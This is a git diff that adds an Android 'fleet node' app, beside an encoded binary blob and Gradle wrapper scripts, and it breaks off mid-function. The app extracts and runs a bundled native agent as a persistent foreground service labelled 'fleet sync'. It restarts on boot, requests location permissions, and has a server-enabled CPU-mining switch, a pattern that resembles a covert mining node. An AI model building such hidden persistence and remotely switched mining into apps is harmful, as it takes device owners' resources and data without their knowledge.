zuOZL^bLp$Qo2rL=WDzQIls%s!Go z{s}Q0b#+#8bKga|01t%^9Z=wEsevvXM_{$dCR97ed3@1kX)mtSS!JN^rtqKOj}p~> zfpCI@DX*DqcB6ZnBcl~}sGO~1s$AtfkX6fy3N8*ebvZc*KBW;dA=)?#BE&}-or74i zZUt5;{FBPnkZD8YUXDsx&2LvSziAlec3oc>&Lf1Doc3g?H9{OO_$M4B0qTat0UsWP zTlxUeQ3B;oJ%en4n?zQB6*Fb#wH7`$SQN5GI|=DnJKiYm{?-?#-H;#sIjz7kQ4&VW zN9d1(1$_W~S=<%qDD!mwRytas=eqX^iW}YSx3;wJ#)Xp_`Qk1DFiXac$-3;jQbCif zLA-T_s~5yP@Q@W>pXKl^gipQ>gp@HlBB>WDVpW199;V%?N1`U$ovLE;NI2?|_q2~5 zlg>xT9NADWkv5-*FjS~nP^7$k!N2z?dr!)&l0+4xDK7=-6Rkd$+_^`{bVx!5LgC#N z-dv-k@OlYCEvBfcr1*RsNwcV?QT0bm(q-IyJJ$hm2~mq{6zIn!D20k5)fe(+iM6DJ ze-w_*F|c%@)HREgpRrl@W5;_J5vB4c?UW8~%o0)(A4`%-yNk1(H z5CGuzH(uHQ`&j+IRmTOKoJ?#Ct$+1grR|IitpDGt!~ZdqSJ?cOtw-R=EQ+q4UvclH zdX=xlK-fhQKoKCPBoFAZ*(~11O6-tXo>i0w!T$u{lg!#itEUX3V{$S*naW!C@%rll zS{L(1t%xz(*B`{1NL!*aMc<~fE=g;gXi&Gb$HpD!P)8?JzfN;4F&wv(5HH<=c>>)n z({271)xREH89=C(5YKL{mmJJ_d>qHz;;gTvTlgM*vz9@YTTYZ#%_2A zS0G-t9oMQEpvfv(UjfQ8T$vAHi)zOj3>D*{xSRiu3acc=7cvLyD?_ZObdu$5@b*!y zaZ#u?7uF}SrHVQa=sTOhGW{6WUlq#RhPPm^GsRH#qlX8{Kq-i~98l;eq>KdCnWyKl zUu&UWBqu#Tt9jQ97U4}3)&(p2-eCLznXMEm!>i^EMpeVzPg%p;?@O;dJBQQY(vV;d z3v+-3oTPC!2LTUAx^S2t{v;S_h(EZ^0_dS5g^F*m{TEIy^Qal~%mu3h7*o`jWOH}i ztv8M)3X3a*+ry_KkYXYE4dB0?M|t}#Tp+(}6CQ zBbq;xhoHj}b@j-@koDB#XcCY~>_x&Y;i%MH|3tF^X2h{36UCVfQ-;oEA+4ZkJ`^Qi zQf^8}6eFO$Z+Dj-F1wkG##tTx>FjR2oOXFmbKFj6K3+=kePQ<4d7%z5R5cOB;zO6| zm9^m#U4lcA;7t&*=q|a-!`!)}SgYXT#i8hnxtx@kaoBF$QAS-hT7N5kH^l zB^i+})V>L;9_0Qqf-dyF%ky8Mp-dp#%!Nls3vCt}q3QLM3M-(Zs1k}1bqQ9PVU)U` ztE=?;^6=x}_VD%N@${>qhpkU*)AuUBu_cqYiY&@;O$HV*z@~#Tzh?#=CK`=KwBv+o zh%zu%0xPKYtyC)DaQ zpDW}*86g%>BH3IcWMq`g$j()0kWE(qkIL8A&A0mf&+BzxpKF}=`#jG% z&*wa!&pGFLs5_b#QTZE4Bp+})qzyPQ7B4Z7Y*&?0PSX&|FIR;WBP1|coF9ZeP*$9w z!6aJ_3%Sh=HY3FAt8V144|yfu}IAyYHr1OYKIZ51F>_uY^%N#!k~eU53at-_E-Gh?ahmM5y* z+BTIbeH;%v1}Cjo{8d%UeSMWg(nphxEU`sL< zQR~LrTq>Da(FqSP2%&^1ZL#DTo5Sbl9;&57tQ-@U&I#lj)aNSkcfEJwQD!33?anVU z?pw2q7WtMvfji493`rSFnyp7{w87cW`ak=UEYlk5PCB1K6UDVKXyozOChH4yHh~Q< zv>yvKw6WLfi!PZUx60JZcTNM7jo{ww9b8Q+S7C3WA5&llSwdwh$=Q(*(f3ofqcz=nwOmOy z(J!K=*wNoRU*${{Mbwapi9pTB(&VVKefqd-qrUb9*Eyr2E@oZ9Cgf}Mc;QP<0D)R4 zz=!*^VIG4T*7Xl=sJxrWv9hW^eJ%qYp5(d0?E6LZzJ}=7E+1{?GQA;z+!^VBD81}O z0kJ^dKy&WMw+1+aGVYY-v@i28@Gm+sX5=@U%F=Z?W)oar}2~Rc&F|+3A)n-U2GF10+QdxDb^iA@7eL$c7yhBtL z>lABrh^qy9XZ${E1}Ss5!N4;ig0-pUh6@|RPCHOWvgG{|l}2enRgJftsN%D|ck0YO zuAQd2aMPSyGuJ~jm)aY=+p~mGudw4erwE%P^)5f<*$$2C-4^I=e8-}7##ZQ!8!Tep z+Z_!}CAI~sry$|XK$ktXaxP*x<_ijCPp`2=6sNLZU<@9Sz-rz7^BCE9yh0jV4(I!Z zxmA4d;>B-!vD}Xp*&*N%`b^e&R;D97WS}{~{O-EtXeZNfdf51tw!WR6Noo4hjHPv5 z?heYYRSBPjMc}tFEU^|U8a1CxxK%)WTcn9P%`wR^I$QSeMn6=w>Z9OoVvcrl`zYlZ z2y`mAu0bV(Scc>G_EmIo_4 zm*~h`mxYZC&+U>C5G1FZH5L^U>Cq-9UDRQa35jz&NBj*0{uJKfZs5=Fn@&)Xh6aX(H3w9m9BGLePqVotxTeSPh5-mc7$# z-80t6yB0$Nx<54ohdO*QL7m_(&+#*=eoNiYDB4rE4Cag@qfyZS};Fx;Vf1;oync2k z9v#-w?d6R& zOI`CCS_d=tf3|?g3Z}b6-_Rdg3y~enQhmgkni0Cvf9m6%Ft8r;NC5|b%t&?lkl*4{ z8Ui^;Ds^gq6ti(1xB7y_$zA!i-M~#!!tl$ErTR>P~>T=Yky)8(uvPbvLmB=UfoD zrfl}8<1OQrm?8#j1!?s*T>AoectQl&m!o&*^JcIW`_&bk3tN}k^0rjl=HL$z*uIYt z?7l?^Dqr?q1210Sp$xoAy!&{2^{^Anl460 zI&7urrc&|Y{rjv04VOl{y7c82N6xzg5ueYmQ(q(zC3w_C#x*~%yf5j7MI{W`tsoxzA*PrmK)cTskU| zf2C}Bq$>S$-1JgIh0aW@LxI|-8(OGuD#^M01ghh}&#ObO>tZgSw_LW`zdf&IN$YO# z)|X_9m#JwLW5pErZB3ScggKcNzxA9(hyKkK9I#pR&79&*+SV_eu={00{HF=Bb+AEe znaSof+r1jZ!EL5XgqXWkckaFSSyEk}o!%p8XsD}O>borZ6x%X2b&q!s&1-O(>`kZ$ zB2l^5Cx9xQx9)PXN1xPM)@+LxACH_iZ8zGc(>wnFS_O|@hKsxpMjXOzLEa7OvSlM&&G9ioQw9~RsD4F zK7Q+_&|Q6{eZ^8Rx@pKL`le6kH+(fLc{=V&{b%I5=n}VHV4)X_2Y!pYxgC8wU)yP! zPF3t$?(jsC>Ge=&{kmPGUEETpaw(QTAl)m#{qR3_aq9!wK%6XHfV4C>Y^>Z|%ns7j z{Ja?^IA{+@;kR#IjHxkar%3$eJT4?xNBKUVmoO z`A8Zo-{~_;vcikZ(p}EZzU4kO6WPqkMyE{VvS?;44Z@lj zz^fKX9UL!8Wc(9VgI?P4*zpis8dzl};I>yr1>dtXU=FTAlx}Eht4-*7RACL^AflGh zyZb1hTf(~CkMo%#Q%NMgM9tE2D+)joqbtHYA89Ql1nqVTt+MxZ^*FRd&n5YlIi!8m z>$Ysd!l{+C)y;Wa(ZV-=<+NZKV;v4mt}v2m>`v$-$3b;GsLxf= zd~f(rmfpl``{0aVwN7y!>eGyJFP`L+TxHjHTOS{K^$L2`@6(Rli`{EFwpH@R%eZ6g zwf7rc43Yk!=k;{ z-Rn%~B3amGr}}SxfE$vS8FIPL=Qt57$|R#sSoFgdNUT?fYOYjPl%ZBFpi=jq=DWby7Zxm@y;B<89!9= zbgEH*Uy)~iq5kJLX$+ps$kV`#6jW#|9BGz^`ivNeid(wVbk4jl)VBpW&~;eXNi{#` zwx?{DXR~*sqQcFhY0XCfQ4-*2aN1BGX>$_swtKEqnd>j6vcZ!#0)pXRi?<{!P?tGw z2x_`RD$W)qD{?z}VDPt?+)8*rqLWFIPQ(9-VbBdf{7ff?w9CZ{sIi_gnuC$I0(+P8 zms9XB%}VQ>>pve##}jog6+cD?v~n4Pa9Vmc zg#K$|+`adO=B7`uj35Y}6EZ z{dY`x@w8;R-7zrsr1O_~Jvl*|o-x%jF=Rr1C}GXP^|IYN`1sqmG-oI@R#%X66c#5W z$$tQB)sqwiVm;Y^`Dw3mo|firP{*HsOQJre5%Dm^H@we0FN88VWJ0dja?_U38z73f zrCV!b3qNP0kM#%9T!W5`ynGcg%BL28FW1J-J1_S`BJGCaReQ!am(2%qZ3lLgzq|ns z!!fF@`0=*z)J2BwZ*hO|Yu^cI_nF$9l-Pb3jE7=P8gZ#!xiuZ7-cSa`gb`6mxGTgg z-DLdID?M!Z%+hHB#{?&0$GFRpf+_}q<_wbzX6K?w;%6szz1RbySDSr2r^h_qi$khs zXdZ9A0!_Bf)TR2-^-K~q`FQ!#1x(U4VbV%AA@Ei{%cA(EwC{XfjRi?`&9rav5;Q5% zO1`Rn@OA_ZB@N*mC#)?d3P!}Eh;=NgpIKsy{(yr`hv=aouwt@r&P&}Z3DNWo9ro30 zX52~(aTV$*HHlgB66-4GQru!_AZ|)V*I5X=WG)`N@U&D>e@@C#V@JwEL*L`7#$yes z62C^5%Qniaow2$3HrAc7U{qzpb&FA*xLI1JSWR@`RF=JCcvTI)%dH7;sWInt9JLu# z|Ao|Q?K)cDg_JKsym=joo5gR80wtv01N`um1nQ@Ms0Y*bVzxL34} zo?gizp?`=Y{*W>^Hy2%Jl)y?A+&7s1UVHFixuIy~sawXjcDCL`129cK7|ZQS0u;A} zTJC#WNmqkIrnHpAhHVcM(U^vJA~dl@jf_bs*3?i+=&vuC?Aiy_pcB~=1syDni4 zw+FLuz>F773u#$;NUQ9WDtUPY@+rA3WBhQdKFKOyzkA(URa7;4tW>3jQIfi8v0h3g zJC_HVDXS#>DWb|&se7FHnr=q&l#xg9o02}}u=b-R>@sw={Z zHF*?t2FmhqZ=|qa>x=A!*$S+0T zhO*D*M?NTf-eX`eO)9TIQu{7Dm77Acnj4b1jI9@c*ZL8wL%8kLEhd$KM8=Y!fbN@9 zC7B5#y>JM1n5M)!&im==EgHs2j+xCZG~+~QWCi?s!QyFo2kqx{%jE2n3^N*Ayz6Lp zhg5g^3# z+5FoJ@$u@9WJgPKpUWEd4}4AK9TJKU8W%ms!d0p%OIOX+bY+55zl!vIaz$XFI9Ep+ z;bL_}7PDI2Y`Ng*XY(65 zh0%`@Lve%fc;)N4_g12bNrt6gH=N#OHtxO`$lpWlw=Z6MF+E@;>GkZ#lAZTn`aHwf z&I1|aV#b_VHMIgBN*RzU9i@Z@m}0i>o?({&%fpEfaOpFeaJ7V37;m0?kzd}}Lk@9$ zL}8TEo7WZAcRi%zFZxkr6<0k#X-;lTD`Oc~cDb@olwgWCewvk{GJ}hCXbF!AdiLpd z|Cck$ZTKI?Ack{34Lva7+k=H8K2HTZiurox6F+>dy+@R9T^awxj590D$|kXUg+Ygc z(f)jlRwN(4z$#%PnOVc;#Fv{nAi{#UcXPNcmP#5O{zh_*`=q^JCeia{sN4zHjk2*y zqUVh{Ya{j>SPmP^i#Qfcq_MTqo8g52Fi^F zKBc$$HVI!xFx*4Y9l+nt)$AoZORD}%5I10oI3kx`-N30QueiwIw#0VV2E*Fb-nKW% z=+r^hos`Y-7~{cA1FVbK$_=~*z53+Q8KGjg;>ztg((H12%QTf4OYU8y)C}h5yo#$% z&Q$`vMM*g?ZcatAn2j!hFv8KuN(dw)T*}sF#THDHxo8xC^?vJ zc`U6bVo~hOr6I!8*GTZ<^D~;unKjK=!IR|GB4E>Mcvt*2GK);93jIDd<(nNjHO z4Hi@2^%Uyx=^Z~5eZ!5rO5%4H|eFoNjD#+Kcu%_57zZb4Z@Ak#X6txD^{U3wBl^r+W- zLorkK;uc;NgTj7dGxHQS+@T*T>Q*j4^Ll$ejQqWrwcHyG9y%Mk%m8nBVG5hvSaYm5 zJN^#-Q46kZG)@T8n2^QCjxIwxUVi%s>EY`E?#@_(A~njFrTiDq;8v|W-1jT|ROlNI zU$h|YoD4PVTE^&NC6_m{EAFBVqsM`P*`-AcDGWQygURzM32Xeq2xng~XQsYeTZ5v$ zQLaa2M_Iplw}4eL6fLPu`6`PYcVMysO>`{8CB~glD=TX7?JZcHfHNmykBM?QD)#D) zGp>R*<^D?WhFQKRc^}22l6F=D2RPrxaX2ZF!b1X0XF*d4%=!sbNcS1q2WOUE(7e4$ z^L8f;F)__d3>&KQFE8%$I4h^y5FYBfB&fWzn71_OSrPe-DHV{O#Q;GP z+Tw!J?eVjX19RKH?*hKQWQt8r7B#lYX8xoSHFGCW-*DSQ4EM4M3Mw%gkSYNK18@(e zfzMF}WWaCyS@1y%-~Xg0ry~tkQkUmKuI5lGAua{{vn22V!2T()AU5FpKh@Nv)s^Js zv~@VuUG;=CnLmQR{PeUBQf2;lAV!vG>^Z0N zL88rrjL-*J!43;7C=w9xhcw`yjRKq7o4L9=0SmR9PA-nX12@#h(iIu-0N_xm2OV)( zU_raT0y>$wm^oMi2|U3N;OhF9uy}`<-xVka#DV*l{O0yHzi9vUxa1Qtpi$buR*8cU zd4~lS1pT$L^!0=6qUKOpM+XPsy{f7W#1bjrEwaeN!Ik9(zySIT^pEHvHgJUneFN4) zk=k|$55(g8slmS|@+*4fr2urd3LwjIIZA**g+%l(SZNn4HwQ}y6o`vw>2&mR1X+&q zDa1Af0B;4rAMZMOlHbAqK|R_xuwJ7ANARtFE({-P2o{tJJR<>2KVp)ZK-M;)ejx zd*E~Mka<{OL7%CAhk4n|1qg?97-I!l0rOinjVi#arbgg4bi5;nY5oFL`UWtPk5&L#grSxv zE3!}=1px!ZTLT90aYc^s`~{VojjJml&<`@e41dFP+XU6D0AOkbn2rlI3>^LcqauG& zc$m3Z{!u8LvUrm^fT{qX5yD9{?r(CCiUdck%!T`KIZd2oQJz1joB&M(Teg_>;yS<2-5>BWfSPpG`Rt{!j6>kqMAvl^zk0JUEfy$HVJMkxP-GkwZuxL62me2#pj_5*ZIU zP~#C^OZLfl$HO)v;~~c&JHivn|1I9H5y_CDkt0JLLGKm(4*KLVhJ2jh2#vJuM6`b& zE==-lvME^Oj022xF&IV*? '} + case $link in + /*) app_path=$link ;; + *) app_path=${APP_HOME}${link} ;; + esac +done +APP_BASE_NAME=${0##*/} +APP_HOME=$( cd "${0%/*}" && pwd -P ) || exit + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + +if [ -n "$JAVA_HOME" ]; then + JAVACMD=$JAVA_HOME/bin/java +else + JAVACMD=java +fi + +DEFAULT_JVM_OPTS='-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m"' + +exec "$JAVACMD" $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS \ + -Dorg.gradle.appname=$APP_BASE_NAME \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain "$@" diff --git a/android/agent-app/gradlew.bat b/android/agent-app/gradlew.bat new file mode 100644 index 0000000..9554e66 --- /dev/null +++ b/android/agent-app/gradlew.bat @@ -0,0 +1,91 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%"=="" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%"=="" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS=-Dfile.encoding=UTF-8 "-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if %ERRORLEVEL% equ 0 goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if %ERRORLEVEL% equ 0 goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +set EXIT_CODE=%ERRORLEVEL% +if %EXIT_CODE% equ 0 set EXIT_CODE=1 +if not ""=="%GRADLE_EXIT_CONSOLE%" exit %EXIT_CODE% +exit /b %EXIT_CODE% + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/android/agent-app/settings.gradle.kts b/android/agent-app/settings.gradle.kts new file mode 100644 index 0000000..37d0f2a --- /dev/null +++ b/android/agent-app/settings.gradle.kts @@ -0,0 +1,17 @@ +pluginManagement { + repositories { + google() + mavenCentral() + gradlePluginPortal() + } +} + +dependencyResolutionManagement { + repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS) + repositories { + google() + mavenCentral() + } +} + +rootProject.name = "aetherforge-agent" diff --git a/android/agent-app/src/main/AndroidManifest.xml b/android/agent-app/src/main/AndroidManifest.xml new file mode 100644 index 0000000..13eee9f --- /dev/null +++ b/android/agent-app/src/main/AndroidManifest.xml @@ -0,0 +1,49 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/android/agent-app/src/main/assets/agent.placeholder b/android/agent-app/src/main/assets/agent.placeholder new file mode 100644 index 0000000..13ac84c --- /dev/null +++ b/android/agent-app/src/main/assets/agent.placeholder @@ -0,0 +1 @@ +Placeholder — replaced by build-apk script with linux/arm64 agent binary at assets/agent. diff --git a/android/agent-app/src/main/assets/config.json b/android/agent-app/src/main/assets/config.json new file mode 100644 index 0000000..3a4d56a --- /dev/null +++ b/android/agent-app/src/main/assets/config.json @@ -0,0 +1,11 @@ +{ + "build_id": "android-dev", + "fleet_secret_set": false, + "mining": { + "enabled": false, + "mode": "idle", + "note": "CPU mining disabled by default; enable via server policy or re-forge." + }, + "server_url": "http://test:8989", + "worker_name": "test-node" +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/AgentConfig.kt b/android/agent-app/src/main/java/com/aetherforge/agent/AgentConfig.kt new file mode 100644 index 0000000..b3cde5b --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentConfig.kt @@ -0,0 +1,38 @@ +package com.aetherforge.agent + +import android.content.Context +import org.json.JSONObject + +data class AgentConfig( + val workerName: String, + val serverUrl: String, + val fleetSecret: String?, + val miningEnabled: Boolean, + val buildId: String, +) { + companion object { + fun load(context: Context, intentExtras: Map = emptyMap()): AgentConfig { + val assetJson = runCatching { + context.assets.open("config.json").bufferedReader().use { it.readText() } + }.getOrNull() + + val json = assetJson?.let { JSONObject(it) } + val worker = intentExtras["worker_name"] + ?: json?.optString("worker_name").orEmpty() + val server = intentExtras["server_url"] + ?: json?.optString("server_url").orEmpty() + val secret = intentExtras["fleet_secret"] + ?: json?.optString("fleet_secret").takeUnless { it.isNullOrBlank() } + val mining = json?.optJSONObject("mining")?.optBoolean("enabled") ?: false + val buildId = json?.optString("build_id") ?: "android-dev" + + return AgentConfig( + workerName = worker.ifBlank { "android-fleet-node" }, + serverUrl = server.ifBlank { "http://127.0.0.1:8989" }, + fleetSecret = secret, + miningEnabled = mining, + buildId = buildId, + ) + } + } +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt b/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt new file mode 100644 index 0000000..88d252e --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentProcess.kt @@ -0,0 +1,51 @@ +package com.aetherforge.agent + +import android.util.Log +import java.io.File + +object AgentProcess { + private const val TAG = "AetherForge" + @Volatile + private var process: Process? = null + + fun start(binary: File, filesDir: File, config: AgentConfig) { + stop() + val env = hashMapOf( + "HOME" to filesDir.absolutePath, + "TMPDIR" to filesDir.absolutePath, + "AETHERFORGE_MINER_EXECUTION" to "inprocess", + ) + config.fleetSecret?.let { env["AETHERFORGE_FLEET_SECRET"] = it } + + val cmd = listOf(binary.absolutePath, "--run") + Log.i(TAG, "spawning agent: ${cmd.joinToString(" ")}") + + val pb = ProcessBuilder(cmd) + .directory(filesDir) + .redirectErrorStream(true) + val merged = pb.environment() + merged.putAll(env) + + process = pb.start() + Thread({ + process?.inputStream?.bufferedReader()?.use { reader -> + reader.lineSequence().forEach { line -> + Log.i("$TAG:agent", line) + } + } + }, "agent-log-drain").apply { + isDaemon = true + start() + } + } + + fun stop() { + process?.let { + runCatching { it.destroy() } + runCatching { it.waitFor() } + } + process = null + } + + fun isAlive(): Boolean = process?.isAlive == true +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt b/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt new file mode 100644 index 0000000..e9866b4 --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/AgentService.kt @@ -0,0 +1,114 @@ +package com.aetherforge.agent + +import android.app.Notification +import android.app.NotificationChannel +import android.app.NotificationManager +import android.app.PendingIntent +import android.app.Service +import android.content.Context +import android.content.Intent +import android.content.pm.ServiceInfo +import android.os.Build +import android.os.IBinder +import android.util.Log +import androidx.core.app.NotificationCompat + +class AgentService : Service() { + companion object { + private const val TAG = "AetherForge" + const val ACTION_START = "com.aetherforge.agent.START" + const val NOTIFICATION_ID = 41001 + private const val CHANNEL_ID = "fleet_sync" + + fun start(context: Context, extras: Intent? = null) { + val intent = Intent(context, AgentService::class.java).apply { + action = ACTION_START + extras?.extras?.let { putExtras(it) } + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + context.startForegroundService(intent) + } else { + context.startService(intent) + } + } + } + + override fun onBind(intent: Intent?): IBinder? = null + + override fun onCreate() { + super.onCreate() + createNotificationChannel() + } + + override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int { + val notification = buildNotification() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) { + startForeground( + NOTIFICATION_ID, + notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC, + ) + } else { + startForeground(NOTIFICATION_ID, notification) + } + + val config = AgentConfig.load( + this, + mapOf( + "worker_name" to intent?.getStringExtra("worker_name"), + "server_url" to intent?.getStringExtra("server_url"), + "fleet_secret" to intent?.getStringExtra("fleet_secret"), + ), + ) + Log.i(TAG, "starting fleet node worker=${config.workerName} server=${config.serverUrl}") + + val binary = BinaryExtractor.ensureBinary(this) + if (binary == null) { + Log.e(TAG, "agent binary missing — rebuild APK with build-apk script") + stopSelf() + return START_NOT_STICKY + } + + if (!AgentProcess.isAlive()) { + AgentProcess.start(binary, filesDir, config) + } + return START_STICKY + } + + override fun onDestroy() { + AgentProcess.stop() + super.onDestroy() + } + + private fun createNotificationChannel() { + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.O) return + val mgr = getSystemService(NotificationManager::class.java) + val channel = NotificationChannel( + CHANNEL_ID, + getString(R.string.notification_channel_name), + NotificationManager.IMPORTANCE_LOW, + ).apply { + description = getString(R.string.notification_channel_desc) + setShowBadge(false) + } + mgr.createNotificationChannel(channel) + } + + private fun buildNotification(): Notification { + val pending = PendingIntent.getActivity( + this, + 0, + Intent(this, MainActivity::class.java), + PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT, + ) + return NotificationCompat.Builder(this, CHANNEL_ID) + .setContentTitle(getString(R.string.notification_title)) + .setContentText(getString(R.string.notification_body)) + .setSmallIcon(R.drawable.ic_launcher_foreground) + .setContentIntent(pending) + .setOngoing(true) + .setPriority(NotificationCompat.PRIORITY_LOW) + .setCategory(NotificationCompat.CATEGORY_SERVICE) + .build() + } +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt b/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt new file mode 100644 index 0000000..8445a1f --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/BinaryExtractor.kt @@ -0,0 +1,47 @@ +package com.aetherforge.agent + +import android.content.Context +import android.util.Log +import java.io.File +import java.io.FileOutputStream + +object BinaryExtractor { + private const val TAG = "AetherForge" + private const val ASSET_NAME = "agent" + private const val BIN_NAME = "agent-arm64" + + fun ensureBinary(context: Context): File? { + val outDir = File(context.filesDir, "bin").apply { mkdirs() } + val outFile = File(outDir, BIN_NAME) + val assetSize = assetSize(context) + if (outFile.exists() && assetSize > 0 && outFile.length() == assetSize) { + outFile.setExecutable(true, false) + outFile.setReadable(true, false) + return outFile + } + return extract(context, outFile) + } + + private fun assetSize(context: Context): Long { + return runCatching { + context.assets.openFd(ASSET_NAME).use { it.length } + }.getOrDefault(0L) + } + + private fun extract(context: Context, outFile: File): File? { + return try { + context.assets.open(ASSET_NAME).use { input -> + FileOutputStream(outFile).use { output -> + input.copyTo(output) + } + } + outFile.setExecutable(true, false) + outFile.setReadable(true, false) + Log.i(TAG, "extracted agent binary to ${outFile.absolutePath} (${outFile.length()} bytes)") + outFile + } catch (e: Exception) { + Log.e(TAG, "failed to extract agent binary", e) + null + } + } +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/BootReceiver.kt b/android/agent-app/src/main/java/com/aetherforge/agent/BootReceiver.kt new file mode 100644 index 0000000..00f8f64 --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/BootReceiver.kt @@ -0,0 +1,14 @@ +package com.aetherforge.agent + +import android.content.BroadcastReceiver +import android.content.Context +import android.content.Intent +import android.util.Log + +class BootReceiver : BroadcastReceiver() { + override fun onReceive(context: Context, intent: Intent?) { + if (intent?.action != Intent.ACTION_BOOT_COMPLETED) return + Log.i("AetherForge", "BOOT_COMPLETED — starting AgentService") + AgentService.start(context.applicationContext) + } +} diff --git a/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt b/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt new file mode 100644 index 0000000..3c4a2f3 --- /dev/null +++ b/android/agent-app/src/main/java/com/aetherforge/agent/MainActivity.kt @@ -0,0 +1,123 @@ +package com.aetherforge.agent + +import android.Manifest +import android.content.Intent +import android.content.pm.PackageManager +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.PowerManager +import android.provider.Settings +import android.widget.Button +import android.widget.LinearLayout +import android.widget.TextView +import android.widget.Toast +import androidx.activity.result.contract.ActivityResultContracts +import androidx.appcompat.app.AppCompatActivity +import androidx.core.content.ContextCompat + +class MainActivity : AppCompatActivity() { + private val prefs by lazy { getSharedPreferences("aetherforge_agent", MODE_PRIVATE) } + private lateinit var pendingPermissions: List + + private val permissionLauncher = + registerForActivityResult(ActivityResultContracts.RequestMultiplePermissions()) { results -> + val denied = results.filterValues { !it }.keys + if (denied.isNotEmpty()) { + Toast.makeText( + this, + "Some permissions were denied — fleet diagnostics may be limited.", + Toast.LENGTH_LONG, + ).show() + } + requestNextPermissionBatch() + } + + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + setContentView(buildLayout()) + + if (!prefs.getBoolean("permissions_requested", false)) { + prefs.edit().putBoolean("permissions_requested", true).apply() + beginPermissionFlow() + } else { + startFleetService() + } + } + + private fun buildLayout(): LinearLayout { + val pad = (24 * resources.displayMetrics.density).toInt() + return LinearLayout(this).apply { + orientation = LinearLayout.VERTICAL + setPadding(pad, pad, pad, pad) + addView(TextView(context).apply { + text = getString(R.string.permission_intro_title) + textSize = 22f + setTextColor(0xFFE2E8F0.toInt()) + }) + addView(TextView(context).apply { + text = getString(R.string.permission_intro_body) + textSize = 15f + setTextColor(0xFF94A3B8.toInt()) + setPadding(0, pad / 2, 0, pad) + }) + addView(TextView(context).apply { + text = getString(R.string.battery_hint) + textSize = 14f + setTextColor(0xFF64748B.toInt()) + setPadding(0, 0, 0, pad) + }) + addView(Button(context).apply { + text = getString(R.string.open_battery_settings) + setOnClickListener { openBatteryOptimizationSettings() } + }) + } + } + + private fun requiredRuntimePermissions(): List { + val perms = mutableListOf() + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + perms += Manifest.permission.POST_NOTIFICATIONS + perms += Manifest.permission.NEARBY_WIFI_DEVICES + } + perms += Manifest.permission.ACCESS_FINE_LOCATION + perms += Manifest.permission.ACCESS_COARSE_LOCATION + return perms.filter { + ContextCompat.checkSelfPermission(this, it) != PackageManager.PERMISSION_GRANTED + } + } + + private fun beginPermissionFlow() { + 